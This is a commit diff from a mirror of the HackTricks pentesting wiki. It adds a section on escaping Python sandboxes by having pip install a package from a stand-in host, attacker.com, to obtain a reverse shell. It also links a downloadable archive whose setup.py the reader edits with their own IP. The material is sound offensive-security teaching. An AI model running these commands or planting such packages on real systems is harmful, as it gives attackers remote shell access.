mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 08:57:55 +00:00
GitBook: [master] one page modified
This commit is contained in:
parent
b139ef8127
commit
49fb9bf830
2 changed files with 13 additions and 0 deletions
BIN
.gitbook/assets/reverse.tar.gz
Normal file
BIN
.gitbook/assets/reverse.tar.gz
Normal file
Binary file not shown.
|
@ -295,6 +295,19 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
47 RETURN_VALUE
|
||||
```
|
||||
|
||||
## Pip packet
|
||||
|
||||
If you have access to `pip` or to `pip.main()` you can install an arbitrary package and obtain a reverse shell calling:
|
||||
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
|
||||
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
|
||||
|
||||
{% file src="../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
|
|
Loading…
Reference in a new issue